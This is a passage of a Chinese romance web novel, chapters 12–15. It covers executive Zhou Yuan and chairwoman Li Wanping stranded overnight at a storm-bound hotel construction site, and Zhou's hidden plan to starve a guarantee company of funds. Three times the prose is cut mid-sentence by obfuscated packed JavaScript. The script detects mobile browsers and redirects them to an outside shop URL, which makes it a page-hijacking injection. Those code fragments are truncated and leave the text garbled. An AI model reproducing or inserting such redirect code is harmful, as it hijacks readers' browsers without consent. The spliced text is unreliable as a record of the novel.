签完后,李婉平笑着问周垣,“这个项目应该回款很快吧?” 周垣嗯,“如果有单子,第二天就可以返还利息的百分之五十。” 李婉平又问:“那本金呢?” 周垣不愿意在这个项目上多做解释,直接岔开了话题,“你不是不舒服吗?回去休息吧,我准你假。” 李婉平愣了愣。 但她的确已经好多了,头也不晕了。 “我没事……” “我说了准你假。” 李婉平又是一怔,但周垣态度如此,她也不敢说什么,“那……那我今天就休半天。晚上还是七点过去学习吗?” 周垣的语气很冷淡,“今天晚上我有应酬,不知道应酬到几点,你晚上不必过来了。” 他顿了顿,看着李婉平依然有些苍白的脸色,又补了句,“夏天雨水多,温差大,注意照顾好自己。” 李婉平点了点头。 周垣继而起身离开了办公室。 当天晚上,李婉平睡得很早。因为次日还要早起跟周垣一起去Z市,她得把精神养足。 这是早几天就定下的行程,周垣告诉李婉平,李氏集团去年在Z市的度假区投资了一家酒店。酒店的地理位置很好,位于山上,山下就是海,从酒店的落地窗望出去,天水一色,满眼都是蔚蓝色的盛景。 不过现在酒店还在建设之中,连个毛坯都算不上。 李婉平很早之前就想去看一看这个项目了,因为她喜欢大海,喜欢那种面朝大海春暖花开的感觉。 不过,她这一趟行程却不怎么顺利。 因为暴雨,飞机延迟了两个多小时,好不容易起飞了,又因为暴雨,飞机在Z市机场的上空多盘旋了四十多分钟没法降落。 好不容易等到飞机平稳降落下来,不只李婉平,连周垣也累坏了。 Z市方面的工程商派人去接得他们,然后把他们安排在了度假村的招待所。 这个度假村是刚建的,很多设施还没完工,所以暂时还不对外开放。 晚上周垣就跟在这里负责工程的赵经理吃了顿饭,李婉平没去。是周垣没让她去,周垣知道李婉平累坏了,所以就让她歇在了招待所。 事实上,李婉平的确是累得不轻。她进门洗了个澡就躺到床上睡着了。她这一觉睡得极沉,一夜无梦直接睡到了次日天亮。 周垣那边跟赵经理一起约了去工地,但天气阴沉沉的,又刚下过雨,上山的路不好走。 周垣犹豫着要不要带李婉平一起上山,毕竟李婉平娇娇气气的,别再因为上个山崴了脚。 可李婉平当然要去,不然她折腾着来Z市这一趟是为了什么? 一行人便先去餐厅简单吃了顿饭,下午直接驱车去了工地。 一路上还算顺利,只飘了点毛毛雨,二十来分钟就到了山下。 赵经理说,上山有两种办法,一是坐观光车,二是爬上去。 爬上去是不可能的,又不是来旅游。等他们爬上去累都累死了,哪还有心思看工程。 周垣毫不犹豫地选择了第一种,坐观光车。 因为暴雨的原因,山路有些滑,观光车都是充电的,上坡的时候有些吃力。 周垣皱眉瞧着,吩咐赵经理把这一缺陷想办法完善一下。 赵经理一脸为难,说观光车不烧油,没劲,上坡肯定费力,这是硬件问题,不好改。 周垣拿出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628875|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机打开通讯录翻找了一个电话号码发送给了赵经理,“回头联系这个人,姓王。他厂里销售的观光车应该有油电混合的类型,你跟他谈谈价格,合适的话,我们把观光车换了。” 赵经理应着,又道:“但是油电混合的观光车价格贵,这样咱们的成本就上去了。” 周垣并不介意,“我们做的是高端酒店,能来这里入住的客人大多非富即贵。如果不能给客人完美的服务,我们根本留不住客源。” 赵经理连连点头称是。 这说话的功夫,观光车已经拉着一行人到达了山顶。 这里沿海,气温本来就低,再加上是山顶,整体气温比在E市的时候低了十几度。 李婉平穿了一身短袖,被山风一吹,冻的鸡皮疙瘩都起来了。 周垣扫她一眼,“冷吗?” 李婉平勉强说不冷。 她是真不想给周垣留下一个事儿多矫情的印象,而且,上次穿高跟鞋去工地已经很不好了,这次绝不能再因为穿着短袖怕冷再被赶回去。 周垣皱了下眉,但没说什么。 赵经理继而领着他们走进工地。 受暴雨影响,工地已经停工好几天了。这会儿也没什么人,只有一个保安在门口的保安室里抽烟。 保安看到赵经理,连忙把烟扔在地上踩灭,小步跑了过来。 赵经理吩咐保安给周垣和李婉平一人找了一个安全帽,这里的安全帽比市里工地上的安全帽还脏,不仅有尘土,还湿漉漉的,一股子怪味儿。 但这一次李婉平毫不犹豫就把安全帽给戴在了头上,半声没吭。 周垣心里觉得好笑,面上也跟着弯了下嘴角,“有水。” 李婉平闻言一愣。 却见刚才出去不知道做什么的赵经理正拿着一卷卫生纸走了进来。 赵经理看到李婉平居然已经把安全帽戴上了,不觉一愣,“那个……李董,这两天下雨,安全帽都被淋了,您不擦擦再戴吗?” 周垣面带微笑接过赵经理给他的卫生纸,先把安全帽叩了叩,再用卫生纸擦了擦。 李婉平顿时觉得自己真的可以走了。 她带上安全帽的时候就感觉到有水渗透了她的头发,但为了不显示她娇气,她硬是没吭声。 但没成想,安全帽是可以擦一擦再戴的。 周垣抑制不住笑了声,继而把擦好的安全帽递给李婉平,“李董戴这个吧。” 李婉平觉得她这辈子丢的人都没有在周垣身边这几个月丢的人多。 她默了默,硬撑着说不用,“我这个安全帽里没有水。” 周垣饶有趣味瞧她一眼,“是吗?” 李婉平嘴硬说是。 周垣哦了声,拿着卫生纸的手凑近李婉平的鬓角擦了下。 纸巾很快就被浸湿,正是李婉平的安全帽里的水顺着鬓角流了下来。 李婉平简直要哭了,她真的感觉她可以换一个星球再继续生活了。 周垣微微敛了几分笑,将那个擦好的安全帽硬塞进李婉平的手里,语调不高不低,但却不容置疑,“换下来,不然会感冒。” 李婉平没办法,她低着头,然后以最快的速度换好,强作镇定。 周垣无意再逗她,继而对赵经理道:“走吧,进去看看。” 13. 第13章 赵经理继而带着他们两个往里面走,一边走一边讲解,周垣听得很认真,时不时提出一些问题,李婉平就拿了个本子认认真真做笔记。 外面看完了之后他们就进了楼里,外面又起了风,旁边的脚手架被风吹得直晃,有些吓人。 楼层大概有八层高,因为还没装电梯,所以一行人必须要爬楼。大概看了一半的时候,赵经理的手机忽然响了起来,他扫了眼来电显示,然后对周垣道:“周总,我接个电话。” 周垣点头。 赵经理就拿着手机走出一些距离接通了。 周垣又带着李婉平往上走了一层,大概应该是第六层了,从这样的高度望出去,视野非常开阔。 李婉平显得有些兴奋,她喜欢登高眺远,也喜欢天水一色的盛景。 她自顾自跑到楼的边缘,那里应该是要安装落地窗的,只不过现在还没有安,只是一个灰色的土框架。 她站在那里向远处眺望,风吹过她的面颊,夹杂着雨后泥土的芬芳。 周垣站在李婉平的不远处提醒着她,“别站在边上,很危险。” 李婉平应了声,往后退了几步,但依旧舍不得离开。 周垣无奈摇了摇头。 恰时赵经理打完电话回来,小步跑到周垣身边,“周总,土地局那边过来人了,晚上有个应酬,您去一趟吗?” 周垣看着粗糙地水泥棚顶,说不去。 赵经理有些为难,“咱们这项工程当时批下来挺不容易的,没少欠人情……” 周垣不咸不淡地嗯了声,“所以,该打点的就打点,你全权代表就可以了。如果什么事情都要我亲自去办,我养你们这些人做什么?” 周垣这话说的语气并不重,但赵经理依旧吓出了一身冷汗。 他太了解周垣的脾气,雷厉风行,说一不二。 赵经理赶忙应着,“那行,今天晚上我就去应酬一下。不过现在我得去接一下那边的人,您看……” 工程才看了一半,就这么回去是有些可惜,但土地局那边的人也不能得罪,赵经理肯定也得走。 周垣思量了一下,“你回去吧,我再看一会儿。山上不是有好几辆观光车吗?你给我留把钥匙。” 赵经理有些不放心,“这山路不好走……” 周垣先声打断他的话,“没什么不好走的,你去忙你的。” 赵经理没办法,只好给周垣留下了一把车钥匙,然后又嘱咐了一句,“那行,您要是有事就给我打电话。” 周垣嗯了声。 赵经理便匆匆忙忙地走了。 赵经理走后,周垣又带着李婉平继续往楼上走,他们一直走到顶楼,把所有地方都看了个遍。 周垣对这次的项目很是满意,他已经可以预见到这个项目将来能够带来的利润有多么可观。 只可惜这份利润周垣的占比不多,大部分还是要收入李氏集团。 想到这里,周垣的眼眸不觉暗了几分。 外面又开始下起了雨,一开始还是毛毛细雨,但转瞬就成了倾盆。 这样的雨,开着观光车下山是绝对不行的。周垣决定等一等,毕竟这种强雷阵雨虽然说下就下,但也是说停就停。 但令周垣没想到的是,这场雨下起来却像是忘了关闸门,一连两个小时过去了,却依然没有要停的迹象。 眼看天就要黑了,外面的温度又低了一些。再待在这里肯定不是个办法,周垣决定带着李婉平走路下山。 他们一路走出高楼,原本想到保安室借两把伞,但到了保安室才发现,保安室的门锁着,保安已经不知去向。 其实,今天保安家里的老人过寿,保安看到赵经理走的时候,以为周垣和李婉平也一起走了,就没多想,自己便直接锁门回家了。 但周垣和李婉平其实还待在楼里。 周垣看到门锁皱了下眉,然后拿出手机准备给赵经理打电话,但手机拿出来之后才发现居然没有信号。 他们在山上信号原本就差,此时又是狂风暴雨,信号直接没了。 周垣又冒着雨大步走到工地的大门处,果不其然,这个少根筋儿的保安连大门的锁也一并锁上了。 周垣顿时有些恼,但恼也没用,眼下他和李婉平得离开这里。 但怎么离开是个问题。 如果只有周垣一个人,他完全可以从门上翻去出。以周垣的身手,从两米多高的门上跳下去根本就不成问题。但李婉平不行,李婉平说什么也爬不上去,而且,退一万步讲,即便李婉平能爬上门,她也不敢往下跳。 周垣一时有些摸不着头绪。 李婉平也后知后觉发现了问题,她紧走几步冒雨跑到周垣身边,看了眼被锁住的大门,顿时有些慌,“周总,我们是被困在这里了吗?” 周垣没吭声,算是默认。 李婉平有些急,“那我们该怎么办?” 周垣依旧没吭声。 李婉平以为周垣没听到她说话,又微微抬高了些声音,“周总?” 周垣被李婉平吵得脑壳疼,抬手微微按了下太阳穴,“别吵,我在想。” 李婉平顿时就安静了,苦着一张小脸,一瞬不瞬眼巴巴地看着周垣。 雨越下越大,丝毫没有要停的意思。天边的闪电划过,照得一方天际犹如白昼,紧接着就是一道惊雷,仿佛炸响在耳边,“轰隆”一声。 李婉平吓得脖子一缩。 忘了是谁说过这么一句话,说山顶上的雷要比地面上的雷更响,这句话真是一点也没有错。 周垣抬手抹了一把脸上的雨水,转身对李婉平道:“你先回楼里待着,别淋雨,会感冒。” 李婉平站在原地没动,“那你呢?” 周垣没吭声。 李婉平不敢自己回楼里。 现在天都黑了,又电闪雷鸣,那个工地楼跟个鬼屋一样黑布隆冬的,李婉平不敢。 周垣也看出了李婉平的胆怯,无声叹了口气,转身跟着李婉平一起回了楼里。 这时气温更低,虽然楼里能挡雨,但四面透风,两个人刚才在外面都已经淋透了,此时风一吹,冻的俩人遍体生寒。 周垣扫了李婉平一眼,“你在这里等着。” 李婉平冻的哆哆嗦嗦点头。 周垣继而又冒雨出去在周围捡了些没太被雨水打湿的树枝回来。 他将树枝凑成一堆,然后用打火机点燃。但潮湿的树枝并不好点,周垣点了十几次,才勉强将火堆生起来。 周垣又用几根树枝搭了个简易的架子,然后直接将衬衣脱下来挂到了树枝上。 李婉平见状脸一红,连忙背过了身去。 周垣没看她,语气里也没有一丝波澜,“把衣服脱下来烤一下,湿衣服穿在身上会着凉。” 他顿了顿,又道:“我去隔壁,等你烤好衣服我再回来。” 周垣说完这句话就走了。 李婉平微怔,她下意识转身,只看到了周垣离开的背影。 周垣的身材很好,精瘦且结实,皮肤偏白,在这样昏暗的光线下,有丝丝缕缕的水渍顺着他的背部流下来,蔓延过一寸寸肌肉,层叠起伏,性感且蛊惑。 李婉平瞬间就烧红了脸,她连忙低下头,不敢再去看。 周垣走后,李婉平赶紧把身上的T恤脱了下来放在火堆上烤。 但她没烤太久就重新把T恤穿上了。 T恤半干不湿的,但好在没有那么凉了。 李婉平赶紧起身去喊周垣过来,她没有理由因为自己的原因就让周垣在隔壁挨冻。 周垣诧异李婉平这么快就过来喊他,他扫了眼李婉平身上的衣服,眉头微皱,“烤干了?” 李婉平说差不多了。 她没那么娇气,还不至于一点凉一点苦都受不了。 早前她在国外读书的时候也曾参加过夏令营,什么爬山攀岩都有,也曾被雨水淋成落汤鸡,但李婉平都没有抱怨过什么。 周垣继而走回火堆伸手摸了下他挂在树枝上的衬衣,也是半干不湿的。他拿起来将衬衣穿好,虽然男人光着上身也没什么,但就这么面对着一个女人,光着上身不太礼貌。 李婉平蹲在火堆前一边烤手一边问周垣,“我们现在该怎么办?” 周垣打开手机看了眼,随着外面的风雨小了些,手机堪堪有了些信号,但信号很不稳定,只有一格不说,还时有时无。 周垣刚才试着给赵经理打了个电话,但因为信号太弱的且不稳定的原因,电话始终没有打出去。 周垣无声叹了口气,“等雨停了再说吧。” 李婉平瞬间垮了张小脸,她扭头望着外面的雨,照现在这个架势,恐怕天黑了也停不了。 但李婉平也不能说什么。 她继而往墙角的方向靠了靠,给周垣腾出了些地方,“周总也别站着了,坐下休息一下吧。” 周垣走过去,与李婉平保持了一个绅士地距离,然后坐到了地上。 他继而从裤口袋里摸出烟盒和打火机,呼啸的风雨灌进来,吹得打火机上的火苗忽明忽暗,他皱了下眉,抬手微微护着火苗,点燃了香烟。 李婉平不着痕迹地看着他,这是李婉平认识周垣这么长时间以来,第一次这么近距离的看着周垣。 他的下颔刚毅凸出,五官立体,喉结棱角分明,从侧面看充满了阳刚的性感,又带了一丝不羁地雅痞。 周垣感受到李婉平的目光抬眸,李婉平来不及收回目光,怔怔地落进周垣眸中的漩涡,脸就红了。 周垣继而收回目光,没说什么。 李婉平赶紧低下头,脸上火烧火燎的。 她笨拙地开口,试图掩饰尴尬,“那个……以前周总也是这样跑工程吗?每一个工程都会到工地上实地考察吗?” 周垣叼着烟,声音被外面的雷雨响倾覆,淡淡的,“不然呢?你以为当领导这么容易?整天坐在办公室里数钱就可以了?” 李婉平默了默。 周垣垂着眼帘吸烟,星星火光笼罩着他的眉眼,显出几分不真实地朦胧,他似乎是想到了什么,嘴角忽然弯了下,“在李董眼里,总裁是个什么形象?” 李婉平一愣,没想到周垣会有此一问,她想了想,张了张嘴,“大概……大概……” 她大概了半天,也没把话说出来。 这让她怎么好意思说呢?一提起“总裁”,她跟所有这个年龄阶段的女孩子都一样,满脑子都是小说里面的情节。 周垣似乎洞察了李婉平的想法,姿态慵懒撑着额角,“是不是天凉了,王氏该破产了。” 李婉平下意识嘴善如流,“对!” 话说出来她又意识到不对,连忙又摇了摇头,“不对!” 周垣有趣闷笑。 李婉平奇道:“这么玛丽苏的台词,周总怎么会知道?” 她说着眼睛瞪大了些,一脸不可置信,“难不成周总也喜欢看言情小说?” 周垣当然不看那些没营养的玛丽苏,“上次来找我的那个梁总你还记得吧?” 李婉平点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628876|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周垣继而道:“他有个小女朋友,比他小了一旬,专业写小说的。有一次饭局,我不幸被他的小女朋友强行科普了一下。” 李婉平忍不住笑,“还有这种事?” 周垣无奈点头,“梁总那个小女朋友经常把梁总当原型写进各种书里,这件事都成了圈里的笑话。” 李婉平笑意更甚,“那她有没有把你也当成原型写进书里?” 周垣顿了一下,似乎是没想到还有这么一茬儿,脸色一阵青白,“不知道,但愿没有。” 李婉平顿时哈哈大笑起来。 她难得在周垣面前这么无拘无束,笑得像个孩子。 周垣看着李婉平的笑容微怔了下,李婉平平时在周垣面前非常拘禁,故作老成,有的时候,周垣都忘了她也只不过是个刚刚大学毕业的小姑娘而已。 李婉平察觉到周垣的目光,意识到自己有些失态,连忙止住了笑。 气氛一时之间有些尴尬。 周垣继而起身,有些不自然地道:“我去外面看看手机能不能收到信号。” 李婉平点头应着,也不敢再去看周垣。 周垣随即迈步向外面走去。 雨依旧在下,且丝毫不见小。手机的信号也依旧时有时无,十分微弱。天色已经完全暗了下来,如果雨一直不停,周垣和李婉平恐怕要在这里过夜了。 周垣将烟蒂扔在脚下踩灭,又出去捡了些干树枝,然后才返回。 李婉平依旧坐在火堆前,但火势小了些,树枝也快烧完了。周垣继而将手里的树枝一根根添进火堆,火势重新又旺了些。 李婉平问周垣,“还是没有信号吗?” 周垣嗯了声,脸上没什么表情。 李婉平看着外面已经暗下来的天空,心里有些害怕,“周总,我们不会在这里呆一晚上吧?” 周垣也不确定,只说:“有可能。” 李婉平顿时像个泄了气的皮球,无精打采地垂下了头。 要在这种地方过夜并不是一件容易的事,首当其冲就是安全问题。这里的安全问题并不是指遇到坏人,而是怕有蛇。 一般的蛇也就罢了,但如果遇到毒蛇,尤其是那种毒液发作很快的毒蛇,一旦被它咬伤不及时处理,很有可能会危及生命。 但周垣没有把这种危险告诉李婉平,因为告诉了也没有用,只会徒增李婉平的心理负担。 周垣又点了根烟沉默地抽着,现在这个局面,李婉平是指望不上的,只能靠他。所以为了保证李婉平的安全,他只能在有人接他们之前,寸步不离地守着李婉平。 周垣掸了掸烟灰,又往火堆里添了几根树枝。已是入夜,外面的雨势终于小了一些,周垣拿出手机看了眼时间,已经是晚上九点多了。他又看了眼信号,这回的信号有两格,他紧接着试着往外拨打电话,但电话才拨出去,信号那一栏又立刻变成了X,手机里连声忙音都没有。 周垣无奈将电话挂断,抬眸不经意间瞧见李婉平,却见她不知道什么时候已经坐在地上抱膝埋头睡着了。 周垣顿时又好气又好笑,气的是李婉平在这种时候也能睡着,笑的是,李婉平在这种时候居然也能睡着。 周垣无奈地将衬衣脱下来盖到了李婉平的身上,衬衣经过周垣的体温已经暖干了,此时还带着些温度。 但脱掉衬衣的周垣立刻就感到了冷,他继而又往火堆前凑了凑。 周围的一切完全都陷入了黑暗之中,工地上没有安装路灯,距离他们最近的一个路灯还是在大门口,但是灯泡的亮度不高,根本就照不到楼里。 周垣无声地瞧着李婉平,尽管周围一片漆黑,但借着火堆的光,他还是能够清楚地看到李婉平的眉眼,很秀气,很漂亮。 周垣的嘴角微不可查地弯了下,也说不上为什么,就忽然觉得,心情并不算坏。 后半夜,李婉平是被饿醒的。 她从来没有晚上不吃饭就睡觉的习惯,要不是白天折腾地太累了,估计她晚上饿着肚子也睡不着。 她一睁开眼还没反应过来,脑子里没有自主思考的意识,还以为是在家里的床上,下意识一伸手,手指略过火堆上方的火苗,“呲”地一声烫到了她。 李婉平下意识吃痛叫了声,被惊动的周垣连忙抬眸去看,就看到李婉平正捂着自己右手的手指放到嘴边猛吹。 周垣默了一秒,“你这是睡懵了?” 李婉平委委屈屈抬起一张小脸看着周垣,后知后觉又有些诧异,“我什么时候睡着了?我居然睡着了……” 周垣懒得搭理她。 李婉平一动,身上盖着的衬衣瞬间滑到了地上。李婉平微怔,这才又后知后觉反应过来,周垣是光着上身坐在她的旁边。 李婉平的脸顿时烧得通红,她不太敢看周垣,只用手将衬衣捡起来,连忙双手递给了周垣,“谢……谢谢……” 周垣面无表情地将衬衣接过,然后穿好。 外面的雨已经停了,月亮弯弯浅浅的挂在天边,李婉平发现了这一点,想起身去外面看看,但谁知一起身才发觉腿麻了,整个人重心不稳,一下子就砸到了周垣的怀里。 李婉平这一下砸得很结实,周垣没有防备,他猝不及防失衡朝后倒去,连带着李婉平也踉跄后仰,直接将周垣砸到了地上。 周垣闷哼一声,脸色微微有些白。李婉平再轻也有一百斤,这么措不及防地砸过来,任谁也吃不消。 李婉平顿时有些大惊失色,“对不起!” 周垣闭了闭眼睛,“你先从我身上下去。” 14. 第14章 李婉平赶紧起开,一个劲儿地道歉,“对不起对不起,我真的不是故意的!” 周垣默了一秒,目光定格在李婉平的身上。 李婉平低着头,声如蚊音,“对不起,我只是看到外面的雨停了,想出去看看,我没想到腿麻了,我真的不是故意的……” 周垣能说什么?对于李婉平的状况百出,他也只能认了。 他继而拿出手机扫了眼时间,“现在是凌晨三点半,雨刚停了半个多小时。我原本想给赵经理打电话,但这个时间让他上山来接我们也有危险,反正已经这个点了,不如等天亮再说吧。” 李婉平点头说好,顿了顿,又有些不放心看向周垣,“周总,你刚才……没事吧。” 周垣面无表情瞧着她,“我若说有事,你想怎么负责?” 李婉平眨巴着眼睛,“我可以陪你去医院,等天亮了就去。” 周垣无奈叹了口气,“消停会儿吧,行吗?” 李婉平垂下脑袋,安静地闭嘴了。 接下来就是相对无话,两个人各自坐在火堆旁,周垣看手机,李婉平一会儿看看手机,一会儿又偷偷看周垣。 周垣其实一直都能感受到李婉平偷偷瞄他的目光,但他自始至终都没再理她。 当清晨的第一缕阳光照进大楼的时候,赵经理终于火急火燎地赶来了。 没有人给赵经理打电话,是赵经理早起准备去找周垣汇报工作的时候,才被招待所的前台告知昨个儿周垣一晚上都没回来。 起初赵经理还没当回事,男人嘛,一夜不归算什么。但前台又补了一句,说李婉平也没回来。赵经理顿时就觉得有些不太对劲儿了。 看周垣和李婉平的关系,应该不是那种不清不楚的样子,所以即便周垣要出去玩,也不可能带着李婉平一起去。 但为了保险起见,赵经理还是先给度假村的娱乐场所挨着打了个电话。 因为度假村还在建设之中,能营业的娱乐场所一共也就三家。赵经理一通电话打过去,三家娱乐场所都说没见到周垣。赵经理顿时就慌了。 他第一个念头就想到了周垣还在山顶的工地,但转念一想又觉得不太可能。他不敢直接联系周垣,便立刻给昨天工地上的保安打了个电话。结果保安在电话里告诉赵经理,昨天他家里老人过寿,赵经理一走,他以为周垣和李婉平也走了,就直接锁了大门回家了。 赵经理当时连死的心都有了。 这个保安居然把公司的董事长和总经理锁在了工地上,还锁了整整一个晚上! 赵经理当即怒吼保安立刻赶到工地,保安也意识到问题的严重性,连忙应下。 所以,当赵经理开着观光车火急火燎地赶到工地的时候,就正好碰到一身狼狈的周垣和李婉平正往外面走。 当时周垣正准备给赵经理打电话,结果电话还没拨出去,迎面就看到了赵经理本人。 周垣继而将电话掐断,冷着眉眼走了过去。 赵经理吓坏了,哭丧着脸连连道:“周总,您昨天怎么不给我打电话啊!” 周垣言简意赅,“没信号。” 赵经理欲哭无泪。 恰时昨天值班的保安也赶到了,他是一路小跑,跑得上气不接下气。 赵经理看见他就来气,抬脚踹了保安一下,大声呵斥,“你是怎么回事?!空岗也就罢了!怎么能把咱们董事长和总经理都锁在工地上?!万一出点什么事,你承担的起这个责任吗?!” 保安自知理亏,低着头,大气也不敢喘。 周垣无意再追究,直接迈步向大门外走去,李婉平跟在他身后,赵经理又瞪了保安一眼,才赶紧追了上去。 赵经理亲自帮周垣和李婉平打开观光车的门,连声保证着,“周总您放心,我一定把那个保安开除!” 周垣闻言没吭声。 赵经理碰了个软钉子,悻悻坐到了驾驶室里。 再次回到度假村,周垣才感到疲惫。他跟李婉平不一样,李婉平没心没肺的,至少还睡了半宿的觉。但周垣不仅一夜没合眼,还要时刻盯着周围的情况,又怕有蛇,又怕火堆灭掉,可谓是把精神绷得紧紧的。 两个人回到招待所各自回房间洗了个澡,洗完澡后,周垣躺在床上补了一觉,而李婉平则是去餐厅吃了顿饭。 之后的天气就渐渐好了起来,工地没有再去,周垣让赵经理召集了在这里的所有中层领导开了个会。 会议的内容也很简单,就是汇报工作进程,以及遇到的一些问题。 李婉平也参加了,不过她全程都没说话,只是负责记录笔记。 到了回程那天,赵经理亲自开车将周垣和李婉平送到了机场,还一人送了一份度假村的礼品盒。也不是什么贵重的东西,就是些纪念品。 李婉平和周垣这次很顺利地回到了E市,没有遇到暴雨,也没有遇到什么别的糟心事。 落地之后,周垣直接去了趟公司,但李婉平没有去。 周垣让她回家歇着了,顺便把这几天的工作笔记整理出来。 但其实内容并不太多,李婉平到家之后只用了两个小时就把工作做完了。 她一闲下来,心思却不由自主又想到了周垣。 她忽然觉得,周垣好像也没有她想象中的那么坏。 但这种意识很浅薄,并不浓烈。 而另一边,周垣到公司后便让工程部经理和财务部经理一起来办公室开了个小会。主要是吩咐了一下他们要协助E市的赵经理跟进工程。 开完会后,何锐抱了一堆文件来找周垣。周垣出差的这几天,很多等着周垣审批的文件都摞成了小山。 周垣拿过文件一一批阅,把其中几个项目特意挑出来然后放置在了一边。 何锐不解,谨慎提醒周垣,“周总,您挑出来的这几个项目都有可能在近期回款,您不批吗?” 周垣淡漠嗯,但没解释。 他当然不会批。不仅不批,还要想办法再把这些钱投出去。因为只有这些钱在外面回不来,他才能让李婉平签的担保公司资金链断掉。 不过这些事他不会跟何锐说罢了。 周垣把其他批示好的文件递给周垣,“照例拿给李董过目。” 何锐应着,顿了顿,又道:“周总,我调查到李董报了这次的会计职称的考试,就在本月月底。” 周垣闻言微微皱眉。 他知道李婉平报了财务和法律的网课,但李婉平白天要上班,晚上要在他家里学着看文件,哪里还有时间再去学习别的? 但周垣不知道的是,李婉平每天晚上从他家里离开之后,回去还要再坚持学习一个小时左右,如果没有别的情况,李婉平晚上基本都是十二点以后才开始睡觉。 但即便如此,李婉平学的也很吃力。 尤其是财务这种学科,又需要算,又需要背,单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周垣冷冷淡淡说不必了,然后直接进屋关上了门。 李婉平望着关闭的门愣了下,但她这愣神的功夫还没反应过来,门却又开了。 周垣站在门口慢悠悠地道:“什么馅儿的?” 李婉平连忙道:“韭菜虾仁鸡蛋,周总爱吃吗?” 周垣不咸不淡嗯了声,走出自家的门,关上,继而走到李婉平的门口,“打扰了。” 李婉平压根儿就没想到周垣居然会来她家里吃,她还以为周垣会让她把水饺端过去,但既然周垣已经走到她家门口了,她也只能侧身让出一条路,请周垣进门。 其实,李婉平是真的不希望周垣现在来她家。没别的原因,就是乱。 不是脏,只是乱。 李婉平喜欢乱扔东西,把平时看的书,文件、玩的玩偶什么的,喜欢乱扔在沙发、床上、地板等各种地方,显得家里很不整齐。 的确是很不整齐。 周垣一进门看到那沙发上的一堆A4纸,眉头就皱了起来。 李婉平连忙一个箭步跑过去,以最快的速度在沙发上收拾出一片可以坐人的空白,连忙请周垣坐下。 周垣有心顾了一眼那些纸,上面写了很多题,都是关于会计的。 周垣心里觉得好笑,就这样还学会计?难道会计的第一准则不是整齐有序吗? 他顺手拿起一本模拟凭证翻了两页,装订的凭证歪歪扭扭,感觉只要稍微一用力,整本凭证就会散架。 周垣又扫了眼凭证的内容,字写得倒是板正,但很多科目都用错了。周垣皱眉瞧着,恰时李婉平正好端着水饺从厨房里出来。 周垣佯装不知情,故意问李婉平:“你在学会计?” 15. 第15章 李婉平唔了唔,“报了财务和法律,是网课。” 周垣随手翻阅凭证,“应该学,这两样对你今后的发展会有很大的帮助。” 李婉平看着周垣在翻阅她写的模拟凭证,不禁好奇地道:“周总也懂会计吗?” 周垣眼皮子都没抬,言简意赅,“注册会计师职称。” 李婉平顿时瞪大了眼睛,“原来周总以前是做财务的。” 周垣将模拟凭证放到一边,“不是,只是抽空考了个证而已。” 这话倒是不假。 坐到周垣这个位置上的人,很多知识都要掌握。正所谓,你可以不亲自去做,但一定要懂。尤其是财务方面,你至少也要了解个大概,否则,下面的人给你报个工程预算,你若不懂,岂不是让下面的人说多少是多少? 李婉平不禁对周垣加深了一丝敬佩。 他是一个真正的实干家,也是一个真正有智慧的人。 周垣继而走到餐桌前坐下,拿筷子的时候,他扫了眼李婉平包的水饺,白白胖胖,倒是莫名跟李婉平一个风格。 周垣夹了一个品尝,入口鲜咸,没有酱油之类的过于浓重的调味品,馅儿里只放了盐和一点生抽,最大程度上保留了食材的原生态鲜味,很是美味。 周垣点头赞了句,“不错。” 李婉平腼腆笑了。 她一笑,周垣的心情也莫名跟着好了些,也不知道为什么,周垣还挺喜欢看李婉平笑。 那种感觉就像是,挺可爱的,大概就是这么种感觉。 周垣问李婉平,“你吃了吗?” 李婉平点头,说吃过了。 李婉平一向按时吃饭,作息很有规律,很健康。 周垣便一个人吃光了整整一盘子水饺。 饭后,李婉平起来收拾了碗筷。 周垣坐在沙发上喝水,“需要我帮忙吗?” 他话是这么说着,但却一点也没有要起身帮忙的意思。 李婉平将碗筷都收拾进厨房,说着没关系,“我自己收拾就可以了。” 正所谓,来者是客。周垣是客人,李婉平怎么好意思让客人帮着收拾碗筷。 周垣又随手扯过放在桌子上的会计书,他神情悠闲散漫,慵懒得不成样子。 他随手翻了两页,看到书上有很多处李婉平做的笔记,字迹板板正正的,看得出记得很认真。 周垣问李婉平,“学的怎么样?” 李婉平刚好收拾完碗筷从厨房里出来,身上还系着一个印着小熊图案的围裙,显得整个人温婉又居家。 李婉平抿了下唇,有一点点无奈,“总体还可以吧,但我报的是网课,有些地方听不懂也没法问。” 周垣有趣嗤笑,“你可以问我,我教你。” 李婉平顿时心里一动,眼睛里闪动着明亮的光芒,“真的吗?” 周垣半真半假,“文件都教你看了,还差再多个会计吗?” 李婉平连忙兴奋地跑了过去,紧紧挨着周垣坐到沙发上,像个得了糖果的小孩子,“谢谢周总!我一定会努力的!” 周垣嗯了声,但没说什么。 周垣的确会好好教李婉平学会计,不仅要好好地教,还要争取帮李婉平考个职称出来。 但单纯的李婉平并不知道周垣心里的算计。 周垣教李婉平看文件是敷衍,但十天半个月还行,时间一长,李婉平也不是傻子,她早晚会察觉周垣在敷衍她。 但如果周垣也教李婉平学会计,并且还能帮她拿到职称,那么李婉平就会觉得,她学不会看文件只是她的个人问题。要不然,同样是让周垣教,为什么她会计就能学的很好? 